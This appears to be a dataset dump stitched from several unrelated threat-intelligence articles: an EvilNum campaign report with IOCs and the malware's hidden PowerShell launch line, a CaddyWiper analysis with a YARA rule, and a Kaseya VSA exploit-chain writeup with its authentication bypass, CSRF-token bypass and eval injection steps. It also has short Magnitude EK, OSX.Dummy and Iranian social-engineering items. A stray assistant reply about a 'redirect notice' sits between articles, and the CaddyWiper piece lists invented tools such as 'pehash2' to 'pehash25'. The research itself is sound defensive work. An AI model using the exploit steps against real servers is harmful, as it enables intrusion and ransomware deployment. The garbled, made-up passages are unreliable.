text
stringlengths
8
115k
# Buy, Sell, Steal, EvilNum Targets Cryptocurrency, Forex, Commodities **July 20, 2022** ## Key Findings - TA4563 is a threat actor leveraging EvilNum malware to target European financial and investment entities, especially those with operations supporting foreign exchanges, cryptocurrency, and decentralized finance (DeFi). - EvilNum is a backdoor that can be used for data theft or to load additional payloads. - The malware includes multiple interesting components to evade detection and modify infection paths based on identified antivirus software. ## Overview Since late 2021 through the present, Proofpoint Threat Research observed the group Proofpoint calls TA4563 targeting various European financial and investment entities with the malware known as EvilNum. The actor exclusively targeted entities in the Decentralized Finance (DeFi) industry in recently observed campaigns. The activity Proofpoint associates with TA4563 has some overlap with activity publicly associated with a group referred to as DeathStalker and EvilNum. The activity described in this report has some overlap with EvilNum activity publicly reported by Zscaler in June 2022. The identified campaigns delivered an updated version of the EvilNum backdoor using a varied mix of ISO, Microsoft Word, and Shortcut (LNK) files in late 2021 and early 2022, presumably as a method of testing the efficacy of the delivery methods. This malware can be used for reconnaissance, data theft, and to deploy additional payloads. ## Campaign Details ### 2021 Proofpoint observed the first campaign in December 2021. The messages purported to be related to financial trading platform registration or related documents. The initial campaign observed included the attempted delivery of Microsoft Word documents responsible for the attempted installation of the updated version of the EvilNum backdoor. These messages used a remote template document that analysts observed attempting to communicate with domains to install several LNK loader components, leveraging wscript to load the EvilNum payload, and a JavaScript payload that was ultimately installed on the user's host. These lures contained a financial theme, suggesting on one occasion that the intended victim needed to submit “proof of ownership of missing documents”. Proofpoint identified the following post-infection related domains: - mailgunltd[.]com - azuredllservices[.]com - officelivecloud[.]com ### Early 2022 The group continued to target financial entities with a variation on the original email campaign, attempting to deliver multiple OneDrive URLs that contained either an ISO or .LNK attachment. In identified campaigns, the actor used financial lures to get the recipient to launch the EvilNum payload. Messages purported to be, for example: From: “Viktoria Helle” <viktoria.helle79@zingamail[.]uk> Subject: Re: Reminder to submit your proof of identity and address Campaigns continued to target specific European financial and investment entities. Subsequent campaigns included the delivery of a compressed .LNK file directly as an additional attempt to install EvilNum. ### Mid 2022 As the threat actor maintained consistent targeting and victimology, the methodology again changed. In mid-2022 campaigns, TA4563 delivered Microsoft Word documents to attempt to download a remote template. Messages purported to be, for example: From: "19steeven" <arfeuille19@gmail[.]com> Subject: Fwd: KOT4X - Proof of ownership (urgent missing document) Attachment: steve kot4x.docx The attached document was responsible for generating traffic to http://outlookfnd[.]com, a likely actor-controlled domain responsible for the EvilNum payload. ## EvilNum Details Previous versions of EvilNum publicly reported by security organizations include both a JavaScript component and C# component of the backdoor. Proofpoint did not observe a JavaScript component in recent campaigns and analyzed the C# component observed in multiple recent campaigns. Each campaign is highly fenced; the malware only allows one download per IP address to ensure only the target host can retrieve the final payload. The initial stage LNK loader is responsible for executing PowerShell via cmd.exe, this then downloads two different payloads from the initial host (e.g. infntio[.]com). The first payload is responsible for executing two PowerShell scripts. The first is used to decrypt a PNG and follows logic to restart the infection chain. The second, larger PowerShell script loads C# code dynamically and sends screenshots to a command-and-control server (C2). This C# application then executes another PowerShell command: `/c start /min "" powershell -inputformat none -outputformat none -windowstyle hidden -c "&hpfde.exe" –v=[Random]` Several applications are executed depending on what antivirus software – either Avast, AVG, or Windows Defender – is found on the host. The malware will try and call multiple executables likely already on the host machine (e.g. TechToolkit.exe and nvapiu.exe). The malware execution chain will change to best evade detection from the identified antivirus engine. The second payload contains two encrypted blobs. The first is decrypted to an executable (e.g. hpfde.exe) and the second to a TMP file (e.g. devXYXY5.tmp). The initial executable reads and decrypts the TMP file to load a 53KB shellcode file resulting in a final decrypted and decompressed PE file. The EvilNum backdoor can be used for reconnaissance and data theft activity and to load follow-on payloads. ## Conclusion EvilNum malware and the TA4563 group pose a risk to financial organizations. Based on Proofpoint analysis, TA4563’s malware is under active development. Although Proofpoint did not observe follow-on payloads deployed in identified campaigns, third-party reporting indicates EvilNum malware may be leveraged to distribute additional malware including tools available via the Golden Chickens malware-as-a-service. TA4563 has adjusted their attempts to compromise the victims using various methods of delivery. While Proofpoint observed this activity and provided detection updates to thwart this activity, it should be noted that a persistent adversary will continue to adjust their posture in their compromise attempts. ## Indicators Of Compromise - 2851693 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules) - 2851694 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules) - 2851695 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules) - 2851696 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules) - 2851697 - ETPRO MALWARE EvilNum Related Domain in DNS Lookup (malware.rules) ### Indicator Description - hxxp://officelivecloud[.]com - Payload Domain - December 2021 - hxxp://mailgunltd[.]com - Payload Domain - December 2021 - hxxp://visitaustriaislands[.]com - Command and Control Domain - May 2022 - hxxp://outlookfnd[.]com - Command and Control Domain - June 2022 - hxxp://infntio[.]com/save/user.php - Payload URL - March 2022 - hxxp://advflat[.]com/save/user.php - Command and Control URL - March 2022 - hxxp://pngdoma[.]com/admin/index.php - Command and Control URL - March 2022 - hxxp://goalrom[.]com/admin/settings.php - Command and Control URL - March 2022 - hxxp://elitefocuc[.]com/save/user.php - Command and Control URL - March 2022 - hxxp://hubflash[.]co/configuration.php - Command and Control URL - April 2022 - bookingitnow[.]org - Command and Control Domain - bookaustriavisit[.]com - Command and Control Domain - moretraveladv[.]com - Command and Control Domain - estoniaforall[.]com - Command and Control Domain ### SHA256 Samples - ef1a660ee8b11bbcf681e8934c5f16e4a249ba214d743bbf8b1f8043296b6ffc - Word Doc - June 2022 - da642cc233ea3595d8aaf8daf6129c59682b19462d5d5abb1f494042d4c044f4 - Word Doc - June 2022 - 53ade63ba9938fd97542a0a725d82045f362766f24f0b1f414f4693d9919f631 - LNK - March 2022 - f0a002c7d2174f2a022d0dfdb0d83973c1dd96c4db86a2b687d14561ab564daa - LNK - March 2022 - 53ade63ba9938fd97542a0a725d82045f362766f24f0b1f414f4693d9919f631 - Word Doc - December 2021 - 649183519d59ea332d687a01c37040b91da69232aadb0c1215c36a5b87ad2ec7 - Word Doc - December 2021 ### Sender Emails - viktoria.helle79@zingamail[.]uk - March 2022 - paul@christiesrealestate[.]uk - December 2021 - sherry@schalapartners[.]com - March 2022 - arfeuille19@gmail[.]com - June 2022 - arole@delaware-north[.]com - May 2022 ### OneDrive URLs - hxxps://onedrive.live[.]com/download?resid=680BC877518B4D11%21388&authkey=!AMMjaIOZSltiS_Q - March 2022 - hxxps://onedrive.live[.]com/download?resid=680BC877518B4D11!531&authkey=!ADr0ziYEPBJJK9w - March 2022 - hxxps://onedrive.live[.]com/download?resid=680BC877518B4D11!426&authkey=!AB60IPFY2E-XMXs - March 2022
The content appears to be a redirect notice and does not contain any meaningful text to format into Markdown. If you have another section of text or content from the PDF that you would like me to clean up and format, please provide that.
# Analysis of a Caddy Wiper Sample Targeting Ukraine ## Introduction CaddyWiper was first reported by ESET as below: Dubbed CaddyWiper by ESET analysts, the malware was first detected at 11.38 a.m. local time (9.38 a.m. UTC) on Monday. The wiper, which destroys user data and partition information from attached drives, was spotted on several dozen systems in a limited number of organizations. It is detected by ESET products as Win32/KillDisk.NCX. One of my friends pinged me a few days later with a link to a CaddyWiper sample. Since this sample was a particularly small one, I decided to write a blog post going through each function from scratch and introducing the tools I used to make my life easier. Hopefully, this can serve as a reference to junior malware analysts who want to get started with this craft. First off, I’m a Linux user myself and I use mainly Linux tools to analyze malware. `pev` is a set of command-line utilities providing a high-level analysis of a PE binary. It consists of the following tools: `pefile`, `pehash`, `readpe`, `pecheck`, `pesec`, `pesecscan`, `peinfo`, `pever`, `pever2`, `pehash`, `pehash2`, `pehash3`, `pehash4`, `pehash5`, `pehash6`, `pehash7`, `pehash8`, `pehash9`, `pehash10`, `pehash11`, `pehash12`, `pehash13`, `pehash14`, `pehash15`, `pehash16`, `pehash17`, `pehash18`, `pehash19`, `pehash20`, `pehash21`, `pehash22`, `pehash23`, `pehash24`, `pehash25`. Running `pehash` on the sample offers the following: ``` filepath: a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea.exe md5: 42e52b8daf63e6e26c3aa91e7e971492 sha1: 98b3fb74b3e8b3f9b05a82473551c5a77b576d54 sha256: a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea ssdeep: 192:76f0CW5P2Io4evFrDv2ZRJzCn7URRsjVJaZF:76fPWl24evFrT2ZR5Cn7UR0VJo imphash: ea8609d4dad999f73ec4b6f8e7b28e55 ``` ### readpe result: **DOS Header** - Magic number: 0x5a4d (MZ) - Bytes in last page: 144 - Pages in file: 3 - Relocations: 0 - Size of header in paragraphs: 4 - Minimum extra paragraphs: 0 - Maximum extra paragraphs: 65535 - Initial (relative) SS value: 0 - Initial SP value: 0xb8 - Initial IP value: 0 - Initial (relative) CS value: 0 - Address of relocation table: 0x40 - Overlay number: 0 - OEM identifier: 0 - OEM information: 0 - PE header offset: 0xc8 **COFF/File header** - Machine: 0x14c IMAGE_FILE_MACHINE_I386 - Number of sections: 3 - Date/time stamp: 1647242376 (Mon, 14 Mar 2022 07:19:36 UTC) - Symbol Table offset: 0 - Number of symbols: 0 - Size of optional header: 0xe0 - Characteristics: 0x102 - Characteristics names: IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_32BIT_MACHINE **Optional/Image header** - Magic number: 0x10b (PE32) - Linker major version: 10 - Linker minor version: 0 - Size of .text section: 0x1c00 - Size of .data section: 0x400 - Size of .bss section: 0 - Entrypoint: 0x1000 - Address of .text section: 0x1000 - Address of .data section: 0x3000 - ImageBase: 0x400000 - Alignment of sections: 0x1000 - Alignment factor: 0x200 - Major version of required OS: 5 - Minor version of required OS: 1 - Major version of image: 0 - Minor version of image: 0 - Major version of subsystem: 5 - Minor version of subsystem: 1 - Size of image: 0x5000 - Size of headers: 0x400 - Checksum: 0 - Subsystem required: 0x2 (IMAGE_SUBSYSTEM_WINDOWS_GUI) - DLL characteristics: 0x8140 - DLL characteristics names: IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE, IMAGE_DLLCHARACTERISTICS_NX_COMPAT, IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE - Size of stack to reserve: 0x100000 - Size of stack to commit: 0x1000 - Size of heap space to reserve: 0x100000 - Size of heap space to commit: 0x1000 **Data directories** - Directory IMAGE_DIRECTORY_ENTRY_IMPORT: 0x3008 (40 bytes) - Directory IMAGE_DIRECTORY_ENTRY_BASERELOC: 0x4000 (12 bytes) - Directory IMAGE_DIRECTORY_ENTRY_IAT: 0x3000 (8 bytes) **Imported functions** - Library Name: NETAPI32.dll - Function Hint: 39 - Name: DsRoleGetPrimaryDomainInformation **Exported functions** **Sections** - Section Name: .text - Virtual Size: 0x1b4a (6986 bytes) - Virtual Address: 0x1000 - Size Of Raw Data: 0x1c00 (7168 bytes) - Pointer To Raw Data: 0x400 - Number Of Relocations: 0 - Characteristics: 0x60000020 - Characteristic Names: IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ - Section Name: .rdata - Virtual Size: 0x6a (106 bytes) - Virtual Address: 0x3000 - Size Of Raw Data: 0x200 (512 bytes) - Pointer To Raw Data: 0x2000 - Number Of Relocations: 0 - Characteristics: 0x40000040 - Characteristic Names: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ - Section Name: .reloc - Virtual Size: 0x18 (24 bytes) - Virtual Address: 0x4000 - Size Of Raw Data: 0x200 (512 bytes) - Pointer To Raw Data: 0x2200 - Number Of Relocations: 0 - Characteristics: 0x42000040 - Characteristic Names: IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ If you’re new to analyzing a PE, I highly recommend looking at the official Microsoft documents for PE Format. Some notes from the link: At location 0x3c, the stub has the file offset to the PE signature. This information enables Windows to properly execute the image file, even though it has an MS-DOS stub. This file offset is placed at location 0x3c during linking. After the MS-DOS stub, at the file offset specified at offset 0x3c, is a 4-byte signature that identifies the file as a PE format image file. This signature is “PE\0\0” (the letters “P” and “E” followed by two null bytes). ## Main function Analysis The main function starts at `00401000` and it looks like it doesn’t return a status code. In C terms, it means the main function is written like so: `void main(...)`. In the main function, we can see a call to the external function `DsRoleGetPrimaryDomainInformation` at `0040113a`: according to Microsoft documentation, the `DsRoleGetPrimaryDomainInformation` function retrieves state data for the computer. This data includes the state of the directory service installation and domain data. If we take a closer look at the function call, we can see that the function has been called with 3 parameters: `DsRoleGetPrimaryDomainInformation(0,1,&empty_int_pointer);`. The `0` refers to the `lpServer` parameter, meaning the function will be called on the local computer. The `1` is the `InfoLevel` parameter, which specifies the level of output needed, as well as the type of output being pushed to our `empty_int_pointer`. Referring to Microsoft Documentation, we can see `1` refers to the first item in the C++ enum, which is `DsRolePrimaryDomainInfoBasic`: ```c typedef enum _DSROLE_PRIMARY_DOMAIN_INFO_LEVEL { DsRolePrimaryDomainInfoBasic = 1, DsRoleUpgradeStatus, DsRoleOperationState } DSROLE_PRIMARY_DOMAIN_INFO_LEVEL; ``` If we follow the docs, it’ll mention our output type as `DSROLE_PRIMARY_DOMAIN_INFO_BASIC`, and refers to this page. Looks like our return value will be in this struct: ```c typedef struct _DSROLE_PRIMARY_DOMAIN_INFO_BASIC { DSROLE_MACHINE_ROLE MachineRole; ULONG Flags; LPWSTR DomainNameFlat; LPWSTR DomainNameDns; LPWSTR DomainForestName; GUID DomainGuid; } DSROLE_PRIMARY_DOMAIN_INFO_BASIC, *PDSROLE_PRIMARY_DOMAIN_INFO_BASIC; ``` Clearly, the attack is interested in `MachineRole` and compares it with value `5`. Let’s dig deeper to see what `5` means. If we go to this doc, we’ll see the following enum: ```c typedef enum _DSROLE_MACHINE_ROLE { DsRole_RoleStandaloneWorkstation, DsRole_RoleMemberWorkstation, DsRole_RoleStandaloneServer, DsRole_RoleMemberServer, DsRole_RoleBackupDomainController, DsRole_RolePrimaryDomainController } DSROLE_MACHINE_ROLE; ``` `5` is the primary Domain Controller. Looking at the code, you can see the attacker does not intend to attack the primary DC and will skip them. After getting all the info, I started to rename the functions and add a bit of comment, as well as converting types in Ghidra to make sure it’s readable. Now we can see there’s a `wiper` function, which runs on `C:\\Users` as well as `D:\\` for 24 chars (E:\\, F:\\, ...), which means basically all drive letters. Let’s go take a look at the `wiper` function. That’s where the attacker’s malicious code is located. ## The wiper function The function itself is a `void` one. Meaning the attacker didn’t really care if the wiping is successful or not. Reading a bit of the function itself, the first bit of interesting information is seen at line ~180. There seems to be another function that gets called with both `*` and `\\` values. ```c FUN_00402a80((int)local_ccc,param_1,&local_e44); FUN_00402a80((int)local_89c,local_ccc,&local_e20); ``` After digging around the `wipe` function, you can see `kernel32.dll` as a stack string with these functions being called from it (in order): - FindFirstFileA - FindNextFileA - CreateFileA - GetFileSize - LocalAlloc - SetFilePointer - WriteFile - LocalFree - CloseHandle - FindClose All above functions are thoroughly documented in Microsoft’s official Win32 API Docs. Essentially, the wiper is looking for all the files under `C:\Users` and `D:` through `Z:` and tries to enumerate the first file within those directories (with `FindFirstFileA`), then enumerates through the folders with `FindNextFileA`, opens the file, scrambles the header of each file, and does it across all folders recursively. Here’s the main `wiper` function with function names and syscalls somewhat renamed to a more readable format. ### Subfunction FUN_00402a80 Before we rename this function to something human-readable, we should know what it does. Here’s the pseudo-code of the function itself: The function appears to concatenate two strings together with a couple of `while` loops and put them in the first parameter’s pointer. In Python terms, it basically means `param_1 = param_2 + param_3`. From now on, I’ll refer to `FUN_00402a80` as `concat`. ### Subfunction FUN_00401530 After concatenating the paths with `*` and `\\`, `FUN_00401530` gets called with two parameters: `findFirstFileA` and `kernel32.dll`, as specified in lines directly after calling the two concat functions (line 190 to 200 inside the `wipe` function in Ghidra). Even though the logic of the function seems complicated, from what it gets and produces as an output, it’s safe to assume the function is a Win32 API client. The DLL filename as well as the specific functionality is pushed to the function and the result is an integer that corresponds to the API response code. From now on, I’ll refer to `FUN_00401530` as `syscall_wrapper`. ## Other Interesting Functions ### FUN_00401a10 Using the same trick we did before, it’s easy to see this function using the same `syscall_wrapper` to invoke multiple functions from `advapi32.dll`: - SetEntriesInAclA - AllocateAndInitializeSid - SetNamedSecurityInfoA - GetCurrentProcess - OpenProcessToken - SeTakeOwnershipPrivilege - FreeSid - LocalFree - CloseHandle This function looks to be looking into each particular file’s ownership and tries to get around some ACLs and “access denied” errors that it comes across. I would describe it as a basic way to try to make a file writable enough so it can destroy it. Although I didn’t read each individual syscall to back that claim. `FUN_00401750` is the main carrier of this operation. In `FUN_00401750`, we can see the following functions: - LookupPrivilegeValueA - AdjustTokenPrivileges - GetLastError `FUN_00401750` simply tries to see if the malware has enough permission to change permissions on a file. I’ll rename it to `priv_check`. As a result, based on my guess, `FUN_00401a10` is renamed to `priv_set`. ## Putting it all together This is a small malware sample, and it’s effective and fast. In a nutshell, this is what the attack vector had in mind: - Checks if the Computer is a primary domain controller or not. If not, it leaves it behind and doesn’t wipe it. - It identifies `C:\Users` and `D:` through `Z:` as primary attack targets. - Recursively: - Finds the first file in the folder - Tries to see the permission it has to write to the file - Tries elevating privileges to gain permission to write to the file - Opens the file in write mode - Rewrites the file header with gibberish - Closes the file Interestingly, if you run the binary through something like the `strings` command, you’ll only see a few strings, like so: ``` strings a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea.exe !This program cannot be run in DOS mode. Rich% .text `.rdata @.reloc DsRoleGetPrimaryDomainInformation NETAPI32.dll ``` This is because the attacker is making use of stack strings. This link has a good explanation of what stack strings are and how they are used to avoid detection. ## Detection The easiest detection for this particular sample could be a hash value. But since this malware is small, hashes, even `ssdeep` are not a very good idea. Let’s try to build a YARA rule that defines what we learned from the malware. ```yara rule caddywiper { meta: author = "Ali Mosajjal" email = "" license = "Apache 2.0" description = "Caddy Wiper Stack String Detection" strings: $s1 = /F.{6}i.{6}n.{6}d.{6}F.{6}i.{6}r.{6}s.{6}t.{6}F.{6}i.{6}l.{6}e.{6}A/ // FindFirstFileA $s2 = /F.{6}i.{6}n.{6}d.{6}N.{6}e.{6}x.{6}t.{6}F.{6}i.{6}l.{6}e.{6}A/ // FindNextFileA $s3 = /C.{6}r.{6}e.{6}a.{6}t.{6}e.{6}F.{6}i.{6}l.{6}e.{6}A/ // CreateFileA $s4 = /G.{6}e.{6}t.{6}F.{6}i.{6}l.{6}e.{6}S.{6}i.{6}z.{6}e/ // GetFileSize $s5 = /L.{6}o.{6}c.{6}a.{6}l.{6}A.{6}l.{6}l.{6}o.{6}c/ // LocalAlloc $s6 = /S.{6}e.{6}t.{6}F.{6}i.{6}l.{6}e.{6}P.{6}o.{6}i.{6}n.{6}t.{6}e.{6}r/ // SetFilePointer $s7 = /W.{3}r.{3}i.{3}t.{3}e.{3}F.{3}i.{3}l.{3}e/ // WriteFile $s8 = /L.{6}o.{6}c.{6}a.{6}l.{6}F.{6}r.{6}e.{6}e/ // LocalFree $s9 = /C.{6}l.{6}o.{6}s.{6}e.{6}H.{6}a.{6}n.{6}d.{6}l.{6}e/ // CloseHandle $s10 = /F.{3}i.{3}n.{3}d.{3}C.{3}l.{3}o.{3}s.{3}e/ // FindClose condition: all of ($s*) and filesize < 100KB } ``` As we saw, since the attacker was clever enough to use stack strings, our YARA rule is going to be slow and regex-y but it still works. Interestingly, for `WriteFile` and `FindClose`, I had to adjust my regex to factor in the slightly smaller `MOV` assembly code. I’ve also put a file size cap on the sample to ignore potentially different variants of this malware. Hope you enjoyed this brief analysis. I’ll put the Ghidra zipped file alongside the scripts, comments, etc., in a GitHub Repo if anyone is interested. Let me know what malware should I dissect next!
# OSX.Dummy New mac malware targets the cryptocurrency community. 06/29/2018 Enjoy these blog posts? You can support my writing & tools on Patreon! ♡ © 2018 Objective-See LLC
# How the Kaseya VSA Zero-Day Exploit Worked This article explains the pre-auth remote code execution exploit against Kaseya VSA Server that was used in the mass Revil ransomware attack on July 2, 2021. After validating the patch and verifying that the attack vector is no longer present, we believe it is time to share these details for the benefit of the community. On July 5, after an initial investigation of affected organizations, Truesec contacted Kaseya and provided a detailed technical write-up of these vulnerabilities along with forensic evidence of exploitation. Kaseya released the patch 9.5.7a (9.5.7.2994) that addresses the security issues on July 11. We strongly believe this information will help the security community in their response to the attack and from a larger perspective it will help the industry understand what happened so we can address the underlying issues, and ultimately increase our capabilities to prevent future breaches. ## Overview The exploit abused four vulnerabilities in the Kaseya application that were chained as visualized in the figure below. ### The High-Level Steps of the Exploit 1. Obtained an authenticated session by abusing a flaw in the authentication logic [CWE-304] in /dl.asp. 2. Uploaded the Revil ransomware (agent.crt) through an unrestricted upload vulnerability [CWE-434] while also bypassing the request forgery protection [CWE-352] in /cgi-bin/KUpload.dll. 3. Uploaded the ASP payload (screenshot.jpg) in the same fashion as described in 2. 4. Invoked the payload in screenshot.jpg through a local code injection vulnerability [CWE-94] in userFilterTableRpt.asp. 5. Created Kaseya procedures to copy files and execute the ransomware. 6. Executed the procedures. 7. Removed logs and other forensic evidence. Here we will focus on the exploit and describe steps 1 through 4 in detail. The payloads are not in scope for this article. ### Step 1 – Bypassing Authentication [CWE-304] The threat actor first sent a POST request to the resource /dl.asp with the POST data userAgentGuid=guid. In dl.asp, userAgentGuid is used in a SELECT query to lookup the database row of the agent. The agentGuid must exist due to the subsequent if statement. The threat actor used the agentGuid of the agent on the VSA server itself. After the lookup, dl.asp tries to see if the provided password matches the values stored in the database for that agent. The provided password is then compared in several different ways. The login flow is illustrated in the pseudo code below: ``` if password == hash(row[nextAgentPassword] + row[agentGuidStr]) login ok elseif password == hash(row[curAgentPassword] + row[agentGuidStr]) login ok elseif password == hash(row[nextAgentPassword] + row[displayName]) login ok elseif password == hash(row[curAgentPassword] + row[displayName]) login ok elseif password == row[password] login failed else login ok ``` The last two statements are where the interesting thing happens. In case the password equals row[password] the login will fail. However, in the case that all checks failed, it would default to an else clause that sets “loginOK” to true. Because no password was provided in the request, the “password” variable would be NULL and loginOK would end up being true. When loginOK is set to true, the application sends the login session cookie and will eventually (if no other parameters are provided like in the attacker’s request) end up in an if clause that returns 302 redirect to the userPortal. ### How Did the Actor Obtain the AgentGuid? The outstanding question is how the threat actor obtained around 60 (estimated number of VSA victims) unique valid agentGuids. It appears they simply knew the agentGuids before launching the attack. Truesec has discovered several methods the attack could have been performed without prior knowledge of a valid agentGuid. An example that was also fixed in 9.5.7a is that the userAgentGuid parameter could have been <vsa_server_hostname>.root.kserver instead of an actual agentGuid. Due to what was described as legacy code, in case agentGuid is not a number, it will lookup the agentGuid automatically from the table machNameTab. Truesec has not found and is not aware of any public evidence that shows exactly how these agentGuids were obtained. Possibly, these random agentGuids might have been what limited the impact of the attack to under 60 out of around 35,000 Kaseya VSA customers. ### Steps 2 and 3 – Uploading Files [CWE-434] [CWE-352] All requests from this point on used the authenticated session obtained in step one. The threat actor started the upload by sending a GET request to /done.asp without any parameters. When receiving the request, the application creates a row in the tempData table, stages an upload folder, and finally returns a so-called loadKey value. A valid loadkey is required to perform the file upload. To upload files the threat actor sent a multiform-data POST request to the resource /cgi-bin/KUpload.dll. The request contained the following parameters: - FileName (name of the file) - FileData (content of the file to upload) - LoadKey (the value obtained by GETting done.asp) - RedirectPath (path that the application will redirect to after successful upload) - PathData (folder the file will be saved in) - __RequestValidationToken (bypassable CSRF token) #### Bypassing the CSRF Protection The __RequestValidationToken was not properly validated. For example, the value “xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx” was accepted as a valid token. #### Uploading the Ransomware (Agent.crt) The first upload performed by the threat actor was a file named agent.crt. This file was an encoded version of the ransomware that was later pushed to all agents from the compromised VSA server. Upon successful upload, the server returns HTTP 200 OK with a body containing a link pointing to /<redirectPath>?FileName=<filename>&PathData=<relative path>&originalName=<filename>&FileSize=<size>&TimeElapsed=<time>. In this case, as the file upload was successful, the returned link was /done.asp?FileName=agent.crt&PathData=WebPages\ManagedFiles\VSATicketFiles\&originalName=agent.crt&FileSize=1221630&TimeElapsed=00:00:00.82. #### Uploading the ASP Payload (Screenshot.jpg) The threat actor uploaded another file named Screenshot.jpg. This was not a jpg file but rather a text file containing ASP code. After obtaining another loadKey value from /done.asp the threat actor uploaded the file. Partial contents of the request can be seen in the figure below (unfortunately only a partial capture was obtained and the middle part of screenshot.jpg was missing). The response body link in this case was /done.asp?FileName=Screenshot.jpg&PathData=WebPages\ManagedFiles\VSATicketFiles\&originalName=Screenshot.jpg&FileSize=6188&TimeElapsed=00 which indicates that the file was successfully uploaded. ### Step 4 – Executing the Payload on the Server [CWE-94] Finally, the threat actor sent a POST request to /userFilterTableRpt.asp with the pageFilterSQLFile argument. Due to a flaw in userFilterTableRpt.asp, the contents of the specified file would be interpreted as ASP code as it was passed to the function eval. In this case, ManagedFiles/VSATicketFiles/Screenshot.jpg, the ASP code text file the threat actor just uploaded. First, userFilterTableRpt.asp sets a variable from the POST parameter. Then it reads the contents of the specified file and passes it to eval, which will by definition interpret the value of the argument as code. The flow is illustrated in the pseudo code below: ``` f = open(pageFilterSQLFile) c = read(f) eval(c) ``` And that is it. The ASP payload was executed and started pushing out the ransomware, and we all know the story from there. ## Final Words After a patch has been made available to customers of Kaseya VSA, and after we have validated the patch to verify that the attack vector is no longer present, we believe it is time to share these details for the benefit of the community. We strongly believe this information will help the security community in their response to the attack and from a larger perspective it will help the industry understand what happened so we can address the underlying issues, and ultimately increase our capabilities to prevent future breaches. Finally, a big thanks to everyone in the security community who shared their findings throughout this incident. We truly appreciate the collaborative spirit that ultimately benefits everyone. ## Timeline - **[2021-07-02]** Threat actor exploited vulnerabilities in the wild to mass-deploy ransomware. - **[2021-07-04]** Truesec obtained evidence that was helpful to understand the exploit. - **[2021-07-05]** Truesec sent a detailed write-up of the vulnerabilities along with supporting forensic evidence to Kaseya. - **[2021-07-11]** Kaseya released a security patch. - **[2021-07-12]** Truesec validated the patch. - **[2021-07-13]** Truesec published this article.
# Chrome Targeted by Magnitude Exploit Kit **Pieter Arntz** *October 21, 2021* Exploit kits (EK) are not as widespread as they used to be. One of the reasons is likely that most exploit kits targeted software that is hardly ever used anymore. Internet Explorer, Silverlight, and Flash Player, to name a few, have been deprecated, replaced, and quickly lost their user base. So, just when you start thinking there is one less threat to worry much about, researchers have found an exploit kit with a keen interest in Chrome. Which, from a business point of view, makes a lot of sense, since Chrome is close to becoming not just a market leader, but almost a monopolist in the browser market. Chrome has, at the time of writing, a market share of around 65%. The only other browser that reaches a market share that is over 10% is Safari. So if you are in the business of compromising browsers that visit your website or watch your advertisement, having Chrome users on your target list is a big plus. Or, as Malwarebytes’ Director of Threat Intelligence, Jérôme Segura, put it: “The future of exploit kits is via Chrome exploits. This could either be an anomaly or the beginning of a new era with big implications for the years to come.” Enter the Magnitude exploit kit. Researchers have found that the Magnitude EK is actively using two vulnerabilities to exploit Chromium-based browsers. Magnitude is used in malvertising attacks to infect victims who visit compromised websites, and its payload of choice is the Magniber ransomware. ## The Vulnerabilities **CVE-2021-21224** is described as a type confusion in V8 in Google Chrome prior to 90.0.4430.85, which allows a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. V8 is Google’s open-source high-performance JavaScript and WebAssembly engine. This vulnerability was patched in April. **CVE-2021-31956** is a Windows NTFS Elevation of Privilege (EoP) vulnerability. This vulnerability can be used in combination with CVE-2021-21224 to escape the Chromium sandbox. This vulnerability was patched in June. Practically the same combination of vulnerabilities was described in June when Microsoft fixed seven zero-days, including the CVE-2021-31956 we mentioned earlier. Back then, the attacker using these vulnerabilities was dubbed PuzzleMaker. At the time, it was unknown which Chrome vulnerability was used by the attacker, but it’s highly likely that it was the same as Magnitude has been found leveraging now. ## Payload There is no malicious payload attached to the Magnitude exploits yet; the attack just exfiltrates the victim’s Windows build number. But reportedly, this is Magnitude EK’s standard procedure to test out new exploits, so this could change quickly if they start to see positive results. ## How to Protect Yourself It is only on rare occasions that we write about vulnerabilities and then tell you there isn’t much to worry about. But in this case, the only people that have anything to worry about are Windows users that browse the web using Chrome or Chromium-based browsers (like Edge), but have disabled its automatic updates and haven’t updated since April. You would also have to run on a non-updated Windows system since June or run Chrome with the –no-sandbox switch (not recommended). And even then, all that would happen if you ran across the Magnitude EK (which usually focuses on South Korea) is getting fingerprinted. But you do understand that you should update your OS and browser nonetheless, right? ## Enable Automatic Updates If you want to save yourself the trouble of manually installing updates, there are a few things you can do. For Google Chrome (under Windows), you can choose this page as one of the tabs that opens when you run the browser: `chrome://settings/help`. If there has been an update since the last time you closed your browser, this page will alert you and initiate a download of the update. In Windows 10, you can select the Start button, then select Settings > Update & security > Windows Update. Select Advanced options, and then under Choose how updates are installed, select Automatic (recommended). Stay safe, everyone!
# Social Engineering Remains Key Tradecraft for Iranian APTs This report covers Iranian social engineering cases and methodologies. It serves those looking to better understand, prepare for, and preempt an attack by Iranian operators against their personnel and organization and benefits Iran-focused analysts researching topics associated with Iranian social engineering to understand their typical targets, organizations, and objectives. Sources include the Recorded Future® Platform and industry reporting from Microsoft, Proofpoint, ClearSky, FireEye, Mandiant, and CitizenLab, among other open sources. ## Executive Summary Since 2010, pro-Iranian government cyber intrusions have relied on social engineering as a component of the cyberattack life cycle, whether executed through spearphishing attacks or more directly through one-to-one engagements. Iranian operators have targeted members of foreign governments, militaries, businesses, and political dissidents. Their operations appear to use many of the studied “principles of influence” and overlap with human intelligence (HUMINT) recruitment practices, both of which influence social engineering methodologies. Research on the Iranian government’s strategic and tactical approaches to the offensive and defensive “Soft War” also suggests that social engineering is an indispensable element of the government’s cyber capabilities, which it has relied on for at least a decade. Tehran views the ability for a foreign power to incite domestic upheaval as being as dangerous as a military attack on its territory. Equally so, the ability to foment social unrest internationally is a capability at its disposal to attack its perceived enemies. 